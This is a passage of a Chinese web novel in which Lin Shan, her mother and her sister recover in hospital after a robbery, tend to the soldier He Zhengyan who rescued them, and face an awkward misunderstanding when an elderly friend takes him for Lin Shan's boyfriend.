林红擦擦泪，轻声安慰她：“别担心，医生正做手术呢，贺领导这么好的一个人，绝对不会有事儿的。” 一旁扎好针，贴好胶布的护士大姐也说：“今天正好我们主任在，有他在肯定没问题的，你不要担心，先养好自己的伤。” 林珊不可能不担心，不过知道询问护士知道自己昏了一多个小时，基本能判断得出手术还在正常范围之内。又是主任操刀，希望一切一定要顺利。被捅到腹部，最危险的是可能会意外伤到肝脏，进而引发大出血。肝脏出血不好止，很多社会青年打架，都是这么把命给要了的。 “里面要求增加血袋了吗？”她小声问。 护士大姐摇头：“没有，一定正常，你就放心吧。” 林珊点点头，心稍微安下一点来。没加血，说明没有大出血。谢过护士大姐后，她看向林红：“你跟妈真得没事儿？” 林红摇头，“没事儿，医生说都是皮外伤，已经擦过药了，口服的也吃过了。妈精神比咱俩好，她刚才还一直骂那帮坏蛋呢。” 林珊笑了，桂花女士的生命力还真是顽强。 “诶，醒了？！”说曹操曹操到，赵桂花推开病房门见闺女醒了，立刻激动地跑过来，“怎么样怎么样？疼不疼？刀口怎么样？” 林珊还没来得及开口，赵桂花就被临出门的护士大姐给说了，“安静点儿啊，这大晚上的，不要影响到其他病人。” “诶诶，好好好。”赵桂花虚心受教，声音立刻降到最低，“咋样啊闺女？疼不疼？” “好多了。”林珊看着赵桂花同样肿着个乌青眼，她眼眶忍不住泛红，恨不得把那帮歹徒再剐上一千遍。 “不哭了不哭了，咱这不都好好的吗？”赵桂花嘴里这么安慰着林珊，自己却也呜呜哭了起来。 母女三人小声哭了会儿，林珊收拾好情绪，问她：“贺领导那边怎么样了？” 赵桂花摸着她脸上没受伤的地方，小声地说：“贺领导出来了，医生说手术很顺利，我先来看你一眼，就去他那儿看着。医生说手术之后最容易出事儿，让我看着点儿。你说人家贺领导为了咱家受了这么重的伤，又是一个人孤苦伶仃的躺在这儿，咱、咱——” 桂花呜呜哭了起来，心里既感激又内疚。 林珊懂她的感受，她又何尝不是这种感觉呢，“妈，那你先去看着他吧，别让他醒来的时候身边一个人都没有，我这儿有我姐就行了。” “诶，妈这就去！”赵桂花很快离开了病房。 林珊眼皮子眨了几下，很快就不自觉地闭上了。输的药里有助眠的成分，在得知所有人都没有大碍之后，她紧绷的神经终于能放下了。 林红见她睡着，小心翼翼地把被子掖好，守在旁边后怕，脑子里都是刚才发生的一切。她家姗姗真得太勇敢了，身上被刀子刺了那么多下，却还在拼命地保护她们，让她们先跑，自己留下来面对那些坏人！ 林红想到这儿又忍不住哭了起来，真是太可怕！也太可恨了！ 林珊再睁开眼，已经是第二天早上 了，护士来给她拔针头，该吃早饭了。 林红从食堂打了些馒头小米粥和小青菜，林珊简单吃了两口，就闲不住了。她这会儿精神不错，昨晚上流的血，估计也已经被细胞自己造回来了，虽然伤口还是疼，但没到不能动的地步。 于是，她穿着病号服要去看贺正岩。 林红拦不住她，只好从布兜里给她拿出一件棉袄，“昨天夜里我让王军回咱家拿的，你那衣服上都是血，已经穿不来了了，赶紧披上别着凉，走廊冷得很。” 林珊听话地披上棉袄，找到了贺正岩所在的病房。 赵桂花正在吃饭，一见林珊过来，她立刻啥也顾不得，扔下馒头就来接人：“哎呦我的祖宗你这是干啥啊！！” 护士大姐不让说话大声，她现在还记得，所以声音是又小又着急。 林珊笑笑：“我没什么事儿了，想过来看看。” 赵桂花拿她没辙，直接把林珊按在自己的凳子上，不让她站着。 林珊自觉没到不能站的地步，比起睡了一晚上的自己，她更担心熬了一宿的桂花女士，本来就被伤得鼻青脸肿，再加上一夜没睡，这会儿憔悴得让人心疼。 不过病房也不适合推搡，于是她听话地坐下，观察起还在熟睡的贺正岩。 说是熟睡，其实林珊也不知道他是昏迷还是在睡觉。 正好遇到护士过来给他换吊瓶，她就问了一下情况。 护士大姐说：“睡着呢，没有昏迷。他这药劲儿大，正好趁着熟睡，让身体休息休息，这样对养伤特别有帮助。” 林珊明白了，谢过大姐，腾出位置让赵桂花继续吃饭。知道贺正岩没事儿，她就放心了。感谢的话等他醒来再说吧。 上午十点钟的时候，王军来了。简单把那四个歹徒的情况一说，问林珊：“捅剪刀的是你吧？” 林珊：“嗯。” 王军笑了，“捅得好，一个根儿不行了，一个肠子都烂了。不过小命儿都还在。你放心，这帮畜生虽然肯定是死刑，但死之前，我是不会让他们好过的。” 林珊起昨晚的情况，忍不住叹气：“要没有贺领导及时出现，我们一准儿就没命了。那帮人就是奔着谋财害命去的。” 王军知道当时的惨状，恨不得现在就把那四个畜生碎尸万段，他审了伤势比较轻的那两个歹徒一晚上，越问就越是后怕，当时她们娘仨要是真被掳走了，一切说什么就都晚了。 “以后你们再去哪儿，还是多带几个男同志比较好。” 林珊知道王军是为她们好，一时不知道该怎么回应。她平时已经非常小心了，连夜路都没走过，就是白天也尽量会拉上个人跟她一块儿出去。谁能想到这大过年的，又是三个人一块儿出动，大街上又不是没人了，就这都有人敢谋财害命。 说到底还是她低估了孤儿寡母在这个年代生存的风险，尤其是有钱的孤儿寡母。这个世界上永远会有黑路段，永远会有歹人，她虽然不是那种高调的人了，但做事情有时候必须高调，不然成不了事儿。 她不可能因为怕被坏人害，就什么事业也不干了。因噎废食的选择她做不出来，不过随着财富的日益增加，她确实需要增加防护了。 林珊：“谢谢军哥，我以后会加强这方面的防备的。你待会儿忙吗？” 王军：“怎么了？” 林珊：“我想请你顺便把我妈和我姐都送回家，她俩已经在这儿熬了一夜了，身上又都有伤，我想让他们回去歇歇。” 王军有些犹豫，“那你和军人同志这儿咋办？” 林珊笑道：“我就只是一些被刀划破的皮外伤，完全不用守着，昨晚睡了一夜，现在就生龙活虎了。她们俩真不能这么熬，你就先帮我把她们送回去吧。” 王军想了想，林红和赵桂花都是伤员，确实不能熬太长时间，“行吧，不过你这儿必须留个人，不然我可说不动你姐。” 林珊没辙，“那你帮我把李娜叫过来吧。我们家的情况就先告诉薛凤琴一个人就行，让她别着急，先把店看好。” 王军点点头，“行。”李娜那憨丫头，挺高挺壮的，照顾人没问题。“对了，那位军人同志那儿，我得通知一下他的部队或者家人，林红说平时都是你跟他联系的。” 林珊知道地址，但是电话不记得了，“我屋桌子上的纸盒里有他的电话，不过我觉得还是先等他醒过来问问情况比较好。” 王军：“那行，要是他下午还不醒，我再打电话过去。” 在林珊和王军的一块儿劝说下，赵桂花和林红终于同意回家歇歇了。这会儿他们刚走，李娜也还没过来，林珊决定趁着中午输液之前，再去看看贺正岩那边儿情况。 她来到病床跟前，刚替他掖好胸前的被子，一抬头，恰好看见贺正岩缓缓地睁开双眼。 第55章 第55章 终于醒了 “贺大哥！”林珊眼睛一亮, 立刻小声向他说明情况，“你昨天晚上刚做完手术，现在需要好好静养。” “你们怎么样？”贺正岩声音有点儿哑, 脸上没多少血色，眼神也不像之前那么锋利了。 林珊心里难受, 人家醒来的第一件事竟然是问她们一家人好不好，她红着眼眶, 努力克制着自己的情绪，“我们都没什么大事儿, 贺大哥, 要不是你及时出现，恐怕我们就都没命了。我、我不知道该怎么对你表达感谢, 我觉得说什么好像都特别苍白。” 贺正岩理解她的心情, 不过不用这样, “保护人民群众是我的职责，我也答应过你哥要好好照顾你们。”知道她们都没大碍, 他也就放心了。 林珊两辈子都没有这么感动过, 其实用“感动”来形容她的心情, 不是很准确。那是一种很复杂的情绪，被人救了一命的恩情，真得没办法言喻，她鼻头忍不住发酸，脱口而出：“贺大哥, 我请你吃一辈子包子。” 说完, 见贺正岩有些怔愣，她瞬间意识到自己的话有多突兀，“不是, 我是说、说您对我们家有救命之恩，我不知道该怎么报答，你又这么正直，肯定不会那什么，唉，我脑子一乱，想起您喜欢吃我家的包子，所以我一下子就说秃噜嘴了。” 贺正岩没说话，看着她笑了。 林珊略显尴尬，第一次这么语无伦次，而且她还很不合时宜地发现贺正岩笑起来得时候，显得更年轻了。最早的时候她觉得他应该二十五六，现在看可能还要小点儿。 “贺大哥，医生说刀子伤到肠道了，现在还不能喝水，我拿点儿棉签沾水，给你润润唇吧。”林珊见他嘴唇干燥，都开始起皮了，知道应该是口渴了。 贺正岩确实觉得口渴，他也不是第一次受伤做手术了，知道大概得注意事项，“麻烦你了。” 小姑娘自己还穿着病号服，虽然披着棉袄看不见伤势，但身上肯定有不少口子，她这才休息了一晚上，居然就跑来照顾他了。 再想起她昨晚的一系列举动，他内心不禁竖起了大拇指。从来没见过哪个姑娘在面对歹毒的时候，像她这么勇敢。不仅勇敢，还非常有智慧。就是他们部队的那些女兵，也不见得各个都能这样。 贺正岩这次来安河，其实是为了回礼。 林珊上次又寄了一大堆熟肉包子给他，贺正岩就想着趁这次休假回家，索性直接拐过来看看，这样也省得再邮递东西。正好安河就在省城回京市的路上，倒也不用绕路。 结果没想到他人还没见着，就听见前面有人大喊救命。当时才晚上八点多一点儿，居然就有人敢作奸犯科，他想都没想就冲了过去。 等离近之后发现受害的是林珊一家，他就更加愤怒了。孤儿寡母都要来欺负，简直丧心病狂。林家这几位女同志都是好样的，敢于勇斗歹徒不妥协。 林珊对着水杯把棉签沾湿，然后靠近贺正岩，直到棉签轻轻挨到他嘴上，她才意识这举动似乎有点儿那什么啊。 不靠近点儿不好操作，靠近了吧，这会儿连彼此的呼吸都能很清晰的感受到。她强忍着别扭，用湿棉签轻轻给贺正 岩涂着嘴皮子。 他嘴巴虽然干，形状却非常好看，不是言情小说里那种冷酷总裁的薄唇，当然也不是什么厚唇，不薄不厚正正好，人中也长得挺合适。 下巴胡茬子都出来了，长得倒是挺快的。 “咳……”一声轻咳，打断了林珊的动作。她抬起头，用眼神询问贺正岩。 贺正岩颇有些尴尬，他刚才只想着嘴皮儿确实干，用湿棉签涂涂也挺好的，结果完全忘了这是个年轻姑娘，不是他们医院四十来岁的护士大姐。 贺正岩当兵这些年，走南闯北，枪林弹雨的，什么场面都经历过，却独独没跟女孩子这么近距离得接触过。 他还闻见味儿了，香的。像香皂，又像是洗头膏，但又不全是，反正比那些东西都好闻，他满脑子就只蹦出一个字儿：香。 “可以了。”贺正岩耳朵根儿都红了，面上还努力镇定着，他不想让人家姑娘觉得自己是个大盲流子。 林珊察觉出了他的异样，赶紧佯装无事地直起腰，把棉签和水杯都收走了。 她本来完全就是为了照顾病人才这么做的，绝对没有半点儿不纯洁的想法，但他这么一害羞，搞得她也跟着有些不好意思了。 “那、那我去叫医生过来看看你的情况？”林珊找借口离开了。 医生过来问了两句话后，直接撩开了贺正岩的衣服，林珊还没来得及回避，就被眼前的场景给镇住了。 整整齐齐排列的腹肌上头，居然有着大大小小的伤，新被捅的刀口，跟旁边一颗弹孔疤痕比起来，显得有些不够看了。 林珊被震惊得一句话也说不来，贺正岩被她看得浑身不自在，也不知道该说点啥，只有医生一边看着伤口，一边来回按着腹部其他地方，“不错，恢复得挺好，咱们军人的身体素质就是不一样啊！” 贺正岩扯出点笑意，感谢了一下对方。 医生摆摆手，说了一下注意事项之后就走了。 没了第三个人挡在这儿，尴尬的气氛瞬间就又回来了。贺正岩想把衣服盖好，可惜他一只手在输液，一只胳膊上挂着监测的东西。 林珊非常理解他的窘迫，立刻伸手帮他把衣服放了下来。这医生也真是的，给人家撩这么大，放下来得时候却只给盖了那么一点儿。 “那、那个……”林珊觉得自己得走了，再不走估计气氛还能更尴尬，不过走之前她想再表达一下歉意，“贺大哥，真得很对不起害你受这么重的伤，之前就想通知一下你家里人，但是又怕你不想让他们担心……” 贺正岩：“不用通知。” “那部队——” “也不用。”根据他过往的经验来判断，这种伤明天就不耽误下地走动了。家里要是知道了可不得了，劳师动众是一定的。部队也一定会派人过来，马上要过年了，实在没必要这么麻烦。 林珊点点头，心里对他的选择其实没有多意外，说起来她跟人家也不算很熟，但她就是能感觉得出来，这个人很怕麻烦别人，“那好，你再休息一会儿吧。”现在他属于不能吃不能喝的状态，醒着也干不了别的。 “好。”贺正岩略微颔首。 林珊回到自己的病房后，发现李娜已经来了，正着急地到处找她呢。 “我在这儿。”林珊冲她招招手，李娜瞬间就哭了，一溜烟小跑过来，“姐！你怎么了？！” “没事儿没事儿。”林珊安抚着她的情绪，把遇到歹徒的事儿简单说了一下，“……所以姐现在需要你帮忙，你能做到吧？” “能！”李娜抹着泪，哭得像个孩子。 林珊有点儿头疼，不过好在这丫头听话，不让她哭，她也就硬生生憋住了。 “你先打壶热水送到312病房给贺正岩同志，好不好？”林珊给她安排了一个活儿。 虽然贺正岩现在喝不了水，但是医生说等他排气之后可以稍微喝些温水，试试反应肠道反应。她也不知道他啥时候排气，感觉他也不会跟自己说，所以提前备好水比较妥当。 李娜接到指令后，飞速开始行动，没一会儿就回来了，“打好了。” “好，坐下歇会儿吧。”林珊指了指凳子，问她：“贺同志睡着了吗？” 李娜摇头：“没有，正想事儿呢。” 林珊笑了，“你怎么知道人家正想事儿呢？” 李娜做了个仰头看天花板的动作，“喏，就这样儿。” 林珊乐出声来，“行吧。” 李娜不知道她在笑啥，“姐，你吃饭不？护士说食堂有饭了。” 林珊点点头，让她去打饭了。 这丫头听话是听话，不过到底是个小姑娘，不方便照顾大男人，她之前只是随便让王军叫了个人过来，现在才发现自己思考问题实在太不全面了。 中午饭点儿过后，赵桂花和林红就都回来了。 赵桂花说：“你跟贺领导都还在医院，我们在家实在是待不住，睡了会儿就醒了，满脑子都是昨天晚上的事儿。” 林红又何尝不是呢，睡不着，不放心，还不如来医院陪着。 林珊理解她们的心情，但是，“白天来可以，晚上必须回家睡，不然我就不住院了。” 赵桂花和林红拗不过她，只能同意这个要求。 李娜一见赵桂花和林红也是浑身是伤，又忍不住开始哭了，赵桂花哄了她半天，才把人安抚好。 林珊摸摸她的脑袋，“你先回去吧娜娜，姐不在的这几天，你跟凤琴姐负责把咱的铺子照顾好，做不做得到？” 李娜抹了把眼泪和鼻涕，“能！” 送走李娜没多久，王军就领着王大娘过来了。 王大娘急得眼泪鼻涕一把一把的，抱着她们三个哭了半晌，还告诉王军：“必须严惩那几个畜生！反了天了！眼里还有王法没有！” 王军自然不会放过那帮歹徒，于公于私都不可能，“待会儿我给你做个口供，对了，贺同志醒了吗？” “醒了，说不用通知任何人。”林珊正为这事儿发愁呢，“军哥，你帮我找个男护工吧，不用干什么累活儿，只要能扶着贺同志上个厕所什么的就行。” “行，包我身上了。”王军手边儿年轻小伙多的是，调来一个照顾几天病患，完全不是什么难事儿。再说人家救了林红一家，他有义务照顾好这位好同志！ 第56章 第56章 住院养病 王军给林珊做完笔录之后, 去贺正岩那边查看情况，见对方还很精神，索性直接把笔录做了。 案情已经很明了了, 贺正岩同志见义勇为的过程他也一清二楚，本来以为只是过来慰问感谢, 顺便例行记录一下，结果没想到这位贺同志说的还没问的多。 张志刚张志强两兄弟的背景, 行凶原因，怎么盯上林家的, 盯了几天, 后续作案计划是什么，审讯进展到哪儿了, 什么时候宣判, 等等等等。 问得王军一时间还以为他才是公安。 “贺同志, 你真的不需要我们通知部队吗？”王军还是觉得做了这么大的好事，又负了伤, 应该给予嘉奖。通知一下部队, 看看能不能给他记个功也好啊。 贺正岩：“不需要。” 王军叹气, “那行吧。”人家想做好事不留名，他也不好太过强求。 林珊一家被刺入院的事儿，不知道从哪里走路了风声。下午四点钟的时候，赵福、徐娟和李春刚前后脚的过来了。 一见娘仨这惨状，立刻慌乱得不知道该怎么办。 赵福红着眼眶非要去揍人去。 赵桂花一把拉住他, “人都在局子里了, 你揍谁啊，赶紧给我回来！” 林珊安抚了三人一下，“已经没事儿了, 大家把各个铺子守好，就是帮我们大忙了。军哥说年根儿比较乱，都想着弄几个钱过年，铤而走险得多。咱们生意好，很容易被人盯上，你们出入也要多留个心眼儿，尽量不要落单。” “好。” 林珊：“员工福利我已经准备好了，你们自己去粮油店拉就行，老板会直接划账的。今年各个店的分红，我会跟这个月的工资一块儿发。大家放心，铺子咱照开，这个年咱照过。我们三个年前这几天就巡不了店了，需要麻烦大家多跑两趟了。” “说什么麻烦啊，都是我们该做的！身体第一，身体第一！”李春刚现在对林珊是彻底服了，出了这么大的事儿，她还能有条不紊的安排工作。不但没被吓倒，反而一直安慰和鼓励他们。 徐娟也不知道该说什么了，她今天来根本没想工资和福利啥的，她纯粹是担心这娘仨的安危，现在见林珊一边输液一边对他们说这些，她是打从心底既佩服又心疼。 赵福就更不用说了，抹着泪儿，“提这干啥！先把伤养好再说！别瞎操心了！” 林珊笑了，陆陆续续又把一些细小的工作安排好之后，让他们三个赶紧回去顾店了。 送走一波人，太阳已经快下山了，林珊怕赵桂花和林红不安全，赶紧让她们回家了。赵桂花不放心，看着她吃完饭，又去贺正岩那屋慰问了半天之后，才离开医院。 林珊突然想起，自己请王军找人来照顾贺正岩的事儿，还没跟他打招呼，于是披着棉袄又去了312号病房。她住307，离得倒是不远。 贺正岩才刚送走赵桂花和林红，又迎来了林珊。 他输完了液，监测仪器也拆了，双手能比较自由的活动了，正准备挪过去，用茶缸里的水给自己润润嘴和喉咙，抬眼就看见了林珊。 “你能喝水了？”她惊讶地走过去，把茶缸递给他。 贺正岩抿到嘴里一小点儿水，囫囵“嗯”了一声。 林珊立刻意识到他排气了，医生之前说排气之后，他可以小口小口抿着喝一点，但不能多。 贺正岩莫名有点儿尴尬，再想起上午她拿棉签帮自己润嘴皮子的事儿，就更不自在了，他面儿上镇定地抿完水，对林珊说：“你不用来回跑。” 林珊小声解释道：“不知道王军哥有没有跟你说，我请他帮忙找了个男同志来照顾你，应该马上就到了。” 贺正岩不赞同地看着她，表情像是在说“你怎么能麻烦别人呢，我不喜欢这样，但是理解你的心意，所以没办法苛责，可我又确实不喜欢”。 林珊被他看得觉得自己做了错事，但是，“男同志照顾起来比较方便，就这两天。护士忙，不见得每时每刻都用空，还是需要一个人，扶你上上厕所什么的……” 贺正岩轻轻叹气，行吧。他其实在今天上午林珊走之后，也发觉自己忽略了一个问题。普通医院护士要管得人实在太多了，不像他们部队的护士大姐，一次就照顾那么一两个人。不过拒绝的话他已经说出去了，再麻烦人那像什么话，硬挺挺也就过去了，反正就头两天难受点儿。 林珊见他点头应了，立刻笑道：“那我不打扰你休息了，他应该——” “珊老板？”王军安排的小钱同志，恰好找到了病房。 林珊一看是见过好几面的钱超同志，赶紧帮忙介绍了一下。 钱超人高马大，二十岁整，是王军手下的小伙子，为人处世非常热情大方。一见贺正岩，就一口一个哥的叫着，嘘寒又问暖，热情似火。 林珊见没自己什么事儿了，干脆拜拜告辞。 回去之后躺在病床上，她突然有点儿想笑，贺正岩好像受不了人过于热情。她临走的时候，他那表情真挺好笑的，有点儿像在冲她求救，又有点儿像是在说“我可谢谢你了”。 但是不管怎么样，安排好了照顾的人，她也算放心了。 第二天一早，赵桂花和林红就准时来了，身后还跟着郭有财和他老伴儿。郭有财知道了事情的经过，一阵后怕，劈头盖脸地教育林珊：“我说什么来着！我说人心险恶，你非跟我说大家都很朴实！朴实什么朴实！这回知道害怕了吧！” “知道了。” “以后出门儿必须带上男的，但凡有一个老爷们儿在，坏蛋动手之前就得掂量一下！” “是。”林珊确实准备在出院之后，把赵福调到身边来。 一是因为她想培养出一个，将来全权负责肉包和熟肉业务的总经理，二来赵福是亲表哥，常年在一块儿走动不会被人说三道四。家里所有人对他也都熟悉，他自己在城南店又干得非常不错。 综合考虑下来，非常适合这个总经理的职位。 过年之后店铺要开始大肆宣传，“加盟”业务开启之后，更是得到处跑，身边没人真得不行。不过光身边有人还不行，林珊还得结交一些更加硬核的人际关系。通俗点说，就是得有人罩着。 郭有财又说了一些做生意需要注意的东西给林珊，很多都是他自家在南边做生意的时候遇到过的危险，林珊听得一愣一愣的，暗道求财之路真是充满了凶险啊。 这才一个小小的安河，以后去了外头，水不知道得有多深啊。 “……好了，说这么多不是为了吓唬你，是提醒你们再小心谨慎也不为过。”郭有财叹气，这娘仨走到今天可真够不容易的。 “是，谢谢郭爷爷，我记住了。”林珊真心受教，非常感激郭有财。赵桂花和林红也听得一愣一愣的，除了感谢就是害怕。 “还有一个礼拜就过年了，你这个年，怕不是要在医院过了？”郭有财问林珊。 林珊笑着说：“我应该后天就能出院了，医生说回去再输两天液就差不多了，剩下的就是慢慢儿养。” 郭有财点点头，有点儿欣慰，“你也算是命大。放心吧，大难不死必有后福。你们都是有大福的人。” 赵桂花笑了，这话她爱听。 林珊乐道：“您什么时候改算命啦？” 郭有财瞪眼：“我看出来了，你确实没什么大事儿，还有精神跟我这儿逗乐呢！” 送走郭有财之后，周婶跟黄丽娟也过来了。嘘寒问暖一番，留下些鸡蛋和水果，是这个年头看病人的标准流程。 林珊送走了一波又一波的人，有大舅和妗子，有店里的老顾客，有徐大爷这些老合作伙伴，还有学校的黄月萍老师。林珊突然想起刚穿来的时候，她跟赵桂花两人住在医院里的情景。那时候除了王大娘和王军为了公事来过，真可谓举目无亲啊。 下午的时候，邻居杨老太和她保姆红梅居然也来了。 杨老太坐在椅子上问了问林珊事情经过后，满脸地愤怒，“把那几个畜生一刀刀剐了！安河这个父母官儿也不知道是怎么当的！丫头，你别害怕，奶奶给你们做主！” “谢谢奶奶。”林珊虽然不知道杨老太要怎么替她们做主，但是她非常感激对方的心意。 红梅因为跟赵桂花成了干姐妹，这会儿正搂着她哭呢，“姐，你放心！那帮畜生绝对跑不了！” “是是。”赵桂花擦擦泪。 两姐妹哭了一会儿，赵桂花想起个事情，“婶子过年不在安河，带点儿熟肉和包子去省城吧，让家里都尝个鲜。” 杨老太摇头，“不带了，你们几个都好好歇着，别想什么礼不礼的事儿了。” 林珊笑着把情况解释了一下。这些年货都是门店做的，她之前就已经吩咐过店长，要在闭店之前把花糕包子，熟肉和炸货这些全部都备齐了。 杨老太见她都安排好了，也就不再推辞了。 做了这将近一年的邻居，拜爱吃肉的红梅所赐，杨老太跟林家也算是越走越近了。知道这是三个孤儿寡母，知道包子铺是为了纪念当兵牺牲的“爱国”开的。这娘仨的精神和品性让她欣赏，她自己也同样牺牲过一个儿子，理解那种痛。 现在看见她们被人伤成这样，还惦记着要给自己年货，杨老太是说什么，也要让在省城当父母官的大儿子，打个电话问 问情况了。 第57章 第57章 听我解释啊 次日, 贺正岩就下地了。 钱超震惊于这个哥的恢复速度，直呼他拥有钢铁般的身体和意志。 昨晚钱超因为之前值了夜班，困得趴在病床边呼呼大睡, 根本没注意到贺正岩正一步一步朝厕所挪着。等他被自己一声巨大的呼噜惊醒时，才愕然发现床上没人！ 他吓得赶紧跑出去找人, 寻觅一圈儿后，瞧见贺正岩正扶着墙根儿, 从厕所那边缓缓地朝病房走来。 “哥！”钱超小跑过去接人，吓得满脸冷汗。 贺正岩也疼得满身冷汗。 钱超又担心又懊恼, “哥, 你上厕所记得叫我一声儿，我刚才太困就睡着了, 你怎么样？疼不疼？碰着伤口了么？顺畅不顺畅？” “……”贺正岩仰望天花板, 非常想念自己营里那些安静又听话的战士。 钱超见他不说话, 满脸担忧地把人扶到病床上，扭头就要去叫医生护士过来。 贺正岩一把拉着他, “不用。” “啊？你没事儿吗？哥, 你可不要硬挺着啊, 有事儿就说。” 贺正岩伸出中指放到自己嘴上，示意他安静听话。 钱超不是很放心地坐回原位，安静了片刻又开始问东问西。直到贺正岩闭上眼睛装睡，他才靠着墙又呼噜噜睡着了。 贺正岩忍了整整两天半，当医生宣布刀口愈合得不错, 肠道也恢复得很好, 可以开始喝流食之后，他干的第一件事就是请钱超回去。 钱超摸摸脑袋，“啊？哥你这真可以吗？我感觉我就没怎么照顾你啊。” 贺正岩：“你快回去忙吧, 我自己能行。” 钱超不知道咋办，把林珊给叫来了，“哥说让我回去，他说他自己行。” 林珊问过医生贺正岩的恢复情况，再瞧他现在明明眼睛里写着“你们赶紧都听我的”，面儿上却还硬要故作淡定的表情，知道他可能等这一刻等很久了。 本来是想请个人照顾他一下，怎么感觉像是让他受苦了呢，林珊赶紧对钱超说：“那你就去忙吧，这两天辛苦了，回头请你吃饭。” 钱超继续摸着后脑勺，“辛苦啥啊，请吃饭就不用了，回头给我带俩大肉包子就行。” “好嘞。”林珊笑着应了。 钱超性情中人，照顾了贺正岩两天，还照顾出感情来了，“哥，你出院的时候我来看你，你下回再来安河，可要记得找我啊。” 贺正岩点点头，谢了谢他。忍归忍，谢归谢，一码是一码。 送走钱超，正好是午饭时间，贺正岩现在能喝流食了，赵桂花从食堂打了米汤和面条汤，把俩病号儿安排好之后，就跟林红回家忙活了。毕竟快过年了，家里的事儿还真不少。 贺正岩连续几天肚子里都是空荡荡的，简单的米汤就让他有了幸福的感觉，脸色都跟着变好了。 林珊笑着说：“饿坏了吧，我明天上午出院之后，熬点儿米油厚的米汤给你送过来。” “不用麻烦，你好好在家休息。”贺正岩一脸的不赞同。 林珊没打算听他的，她自己的身体自己知道，能出院基本就已经没什么事儿了，只要别碰伤口，不做力气活，不招水，日常生活完全没问题。 贺正岩瞧出来了，觉得这小姑娘真是不听话。 林珊冲他笑了笑，“快喝吧，凉了对肠胃不好。” 贺正岩这次一共有十天假，他本来计划的是回去给爷爷奶奶扫扫墓，然后再跑去西北给母亲来个惊喜，就算是过大年了。 结果这半道儿停在了安河，惊喜给不了，墓也没法儿扫了。这几天他倒是能瞒得过去，不过等大年三十再不露面，家里一个电话就露馅了。 医生说他还得再住上一个礼拜才能出院。看样子还真得跟部队打声招呼，让他们帮忙瞒一下了。 次日林珊出院，赵桂花忙着办手续，林红在帮她收拾东西，贺正岩也趁着输液前，溜着墙根儿过来看看情况。 “贺大哥，你怎么乱跑啊。”林珊见状赶紧过去搀他，打算直接把人原路往回送。 贺正岩也没反抗，问她：“你们怎么回去？” 郭有财把自家的小汽车开来了，林珊原本计划坐三轮车回去，但是郭有财说颠得慌，还是坐车方便，非让她听话。 “汽车挺好的。”贺正岩说。 林珊点点头，想到这还有四天就要过年了，忍不住问他：“你过年回不去，家里那边怎么交代啊？” 贺正岩把自己的情况简单说了一下，“……没事儿，就算到时候家里知道了，我也好得差不多了。” 林珊稍稍放心一些，暗自决定这个年一定不能让贺正岩一个人在医院过。他爱吃自家做的包子和熟肉，可惜生病期间只能吃些清淡易消化的。虽然目前只能吃流食，不过医生说过两天就能吃些容易消化的了。 林珊决定回家之后琢磨一些病人食谱给他，争取让他吃得营养又美味，把身体养得棒棒的。 “哟，姗丫头。”郭有财跟俩人迎面走了个头对头。 林珊忽然想起自己对郭有财编造的那个，以贺正岩为原型的虚拟对象，顿时无比心虚，“郭爷爷，您来这么早啊。” “早吗？”郭有财嘴里搭着腔，眼神却全在贺正岩身上，“这位小同志就是那位见义勇为的好同志吧？” 林珊：“是。” 郭有财热情地握住贺正岩的手，跟着一把架住他另一只胳膊，“走，哪个病房，我帮着一块儿送。” 林珊指了指312。 郭有财立刻率先迈开步子，边走还不忘边赞扬贺正岩，把他说得跟活雷锋似的。 贺正岩挺无奈的，“您夸张了。” “诶，不夸张不夸张。”郭有财把人扶到病床上，站在一边儿继续夸。 贺正岩真不觉这有什么，这本来就是他身为一个军人应尽的职责，再加上“她哥是我以前的兵，照顾她们本来就是我应该做的。” “别谦虚，别——咳！”啥？郭有财呛到了，瞬间瞪大眼睛，“你是说，林爱国是你以前的兵？” “是啊。”怎么了这是？ 郭有财：“你在省城当兵？” “对。” 林珊心想：完蛋。 搞不好要露馅儿了，虚拟对象的真面目要被戳穿了。 “那什么，贺大哥你赶紧休息吧。”林珊伸手要把郭有财拽走，以避免即将到来的尴尬时刻。 可郭有财哪是随便一个人就能拽走的，他一动不动，满脸露出一副“原来是你小子”的神情，看得贺正岩一头雾水。 “我们家林珊好吧？”郭有财瞬间从刚才的万分感激，转变成了“我倒要好好看看这个抢了我孙媳妇儿的男同志，一共有几把刷子”。 贺正岩不明所以，实话实说：“她确实非常优秀。” 郭有财笑。 林珊也笑，苦笑。完了，她想找个缝儿钻进去。 “爷爷，让他休息会儿吧，咱回去再说。”林珊开始往外拖人，何耐她身上有伤，不敢使劲儿，只能任由郭有财一动不动地站在那儿问人家问题。 “这丫头说你之前一直挺照顾她们的。”郭有财说。 贺正岩惭愧，“谈不上照顾，她们自己就非常能干。” 郭有财点点头，心想算他有自知之明，“这丫头说你平时在部队特别忙，老出任务啥的。” 贺正岩有点儿意外林珊会跟这位老爷子说这些，不过他还是回答道：“是，军人很少有放假的时候。” 郭有财忍不住上下打量贺正岩，行吧，单看外表，确实比他孙子好看，个头儿也高，人看起来非常正派，说起话来也实在，看得出来是个不错的人。再加上人家小伙子又舍命救了林珊她们娘仨，他想不承认这人品都难。 况且真论起来，恐怕他自己才是那个外人啊。 “行，珊丫头是个难得的好姑娘，你以后可要好好儿——” “爷爷！走吧，时间不早了。”林珊 尴尬地把人往外捞，郭有财却觉得这小丫头片子害羞个啥劲儿，他偏要把话说完，“好好儿对珊丫头，不许欺负她，听见没有？” 贺正岩在一头雾水中恍然大悟，整个人愣在原地。 郭有财还想再说，林珊一把捂住他的嘴，正巧赵桂花从门口进来了，她赶紧让亲娘把郭有财先领出去，自己匆匆对贺正岩说了句“回头跟你解释”，就飞速闪出了病房。 贺正岩生生傻坐了好几秒，确认刚才那个郭老爷子的意思，就是他以为的那个意思。而且这中间好像有误会，林珊说她回头解释。 贺正岩慢慢靠在了床头上，开始分析原因。 林珊的脸色直到走出医院都没正常，太尴尬了，毕生的脸面都被丢尽了。 郭有财带着司机来的，他自己坐在副驾驶上哼哼：“害羞啥，我让他好好照顾你，是想让他知道你是有人撑腰的，以后别想欺负你。” 林珊坐在后排生无可恋。 赵桂花也猜出怎么个事儿了，顿时是又紧张又心虚。这可咋办啊，误会咋会闹这么大呢！当初她就不同意这死丫头编瞎话糊弄郭有财，现在居然还让他误会人家贺领导就是自家闺女那没影儿的对象！ 唉！这可咋办！ 林红听得云里雾里的，细细悟了会儿才明白过来怎么回事儿，瞧着妹子那蔫巴样儿，忍不住悄悄问她：“咋办啊？” 林珊微弱地吐出两个字：“自首。” 第58章 第58章 非常大度 夜里, 林珊冷静下来想了想，除了丢人，好像也没什么大不了的。 所以第二天, 